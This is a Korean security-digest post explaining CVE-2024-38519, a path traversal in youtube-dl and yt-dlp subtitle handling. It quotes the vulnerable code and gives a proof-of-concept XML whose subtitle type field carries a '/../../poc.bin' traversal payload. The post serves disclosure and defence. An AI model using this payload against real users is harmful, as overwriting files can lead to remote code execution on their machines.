[하루한줄] CVE-2024-38519 : youtube-dl 및 yt-dlp의 Path Traversal로 인한 RCE
URL
https://securitylab.github.com/advisories/GHSL-2024-089_youtube-dl/
https://securitylab.github.com/advisories/GHSL-2024-090_yt-dlp/
Target
- youtube-dl
- nightly release < v2024.07.03
- official release 모든 버전
- yt-dlp
- official release < v2024.07.01
Explain
youtube-dl은 유튜브를 포함한 동영상 호스팅 사이트의 동영상을 다운로드하는 오픈소스 소프트웨어입니다. 공식 버전은 2021년 12월 17일 이후로 유지보수되지는 않으나, ytdl-nightly 저장소에서 지속적으로 업데이트되고 있습니다.
yt-dlp는 youtube-dl의 fork로, youtube-dl 프로젝트 중단 이후로 대부분의 사용자가 사용하는 다운로더이며 약 76,000의 star를 받는 등 인기있는 오픈소스 프로젝트 중 하나입니다. 이러한 두 소프트웨어에서 자막 파일 확장자 검증 미흡으로 인한 Path Traversal 취약점이 발견되어 세부 정보가 공개되었습니다.
yt-dlp 및 youtube-dl(이하 yt-dlp)은 영상뿐만 아니라 --write-subs
, --write-auto-subs
, --all-subs
, --write-srt
(only yt-dlp) 옵션을 통해 자막 또한 다운로드할 수 있습니다. 지원되는 동영상 호스팅 웹사이트마다 전용 자막 extractor가 존재합니다.
자막 추출 과정은 각 extractor 구현 방식에 따라 아래와 같이 여러 방식으로 동작합니다.
- extractor가 자막의 URL만 제공하는 경우
- yt-dlp core가 직접 URL에 포함된 자막의 확장자를 확인함
extractor가 URL 및 자막 확장자를 명시적으로 제공하는 경우
일부 extractor는 추출된 자막 확장자를 검증함.
# anvato.py a_caption = { 'url': caption['url'], 'ext': 'tt' if caption.get('format') == 'SMPTE-TT' else None } subtitles.setdefault(caption['language'], []).append(a_caption)
일부 extractor는 추출된 자막 확장자를 검증하지 않음
# microsoftvirtualacademy.py subtitles.setdefault('en', []).append({ 'url': '%s/%s' % (base_url, subtitle_url), 'ext': source.get('type'), })
취약점은 yt-dlp가 자막 확장자를 검증하지 않는 2번 동작 방식의 extractor에서 자막을 빌드할떄 발생합니다.
for sub_lang, sub_info in subtitles.items():
sub_format = sub_info['ext']
sub_filename = subtitles_filename(filename, sub_lang, sub_format, info_dict.get('ext')) # <------------- [1]
sub_filename_final = subtitles_filename(sub_filename_base, sub_lang, sub_format, info_dict.get('ext'))
existing_sub = self.existing_file((sub_filename_final, sub_filename))
if existing_sub:
self.to_screen(f'[info] Video subtitle {sub_lang}.{sub_format} is already present')
sub_info['filepath'] = existing_sub
ret.append((existing_sub, sub_filename_final))
continue
self.to_screen(f'[info] Writing video subtitles to: {sub_filename}')
#...
try:
sub_copy = sub_info.copy()
sub_copy.setdefault('http_headers', info_dict.get('http_headers'))
self.dl(sub_filename, sub_copy, subtitle=True) # <------------- [2]
sub_info['filepath'] = sub_filename
ret.append((sub_filename, sub_filename_final))
#...
yt-dlp는 [1]에서 extractor에서 제공한 자막 확장자 sub_info['exe']
를 신뢰하고 별다른 검증 없이 출력할 자막파일의 이름 sub_filename
을 구성하고, [2]에서 구성된 자막파일 이름을 사용해 빌드합니다.
해커는 파일 확장자에 path traversal payload를 삽입해 취약점을 트리거할 수 있습니다.
기본적으로 sub_filename은 [title][id].[sub_lang].[sub_format]
로, 확장자가 마지막에 구성되어 [not_existing_path]/../../../[payload]
와 같이 구성 가능합니다. 이는 존재하지 않는 디렉터리가 포함된 경로를 허용하지 않는 Linux에서는 작동하지 않으나 Windows에서는 작동합니다.
<videoSettings version="1.5">
<PlaylistItems>
<PlaylistItem>
<MediaSources videoType="progressive"><MediaSource videoMode="720p" mimeType="video/mp4" codec="avc1.42E01E,mp4a.40.2" default="true">http://video.ch9.ms/ch9/1089/193d8990-f065-432e-87d7-981c61e41089/636AzureFundamentalsVM01_high.mp4</MediaSource><MediaSource videoMode="540p" mimeType="video/mp4" codec="avc1.42E01E,mp4a.40.2" default="false">http://video.ch9.ms/ch9/1089/193d8990-f065-432e-87d7-981c61e41089/636AzureFundamentalsVM01_mid.mp4</MediaSource><MediaSource videoMode="360p" mimeType="video/mp4" codec="avc1.42E01E,mp4a.40.2" default="false">https://sec.ch9.ms/ch9/1089/193d8990-f065-432e-87d7-981c61e41089/636AzureFundamentalsVM01.mp4</MediaSource></MediaSources>
<MediaSource />
<Title>01 | Introduction</Title>
<MarkerResourceSource type="/../../poc.bin">content/content_gfvxismeb_6804984382/subtitles</MarkerResourceSource>
<ThumbSource />
</PlaylistItem>
</PlaylistItems>
</videoSettings>
취약점은 위와 같이 추출 타겟이 될 XML을 생성하고 호스팅하는 것으로 트리거 가능하며, 이로 인해 실행 파일 등을 overwrite하는 것으로 RCE까지 이어질 수 있습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.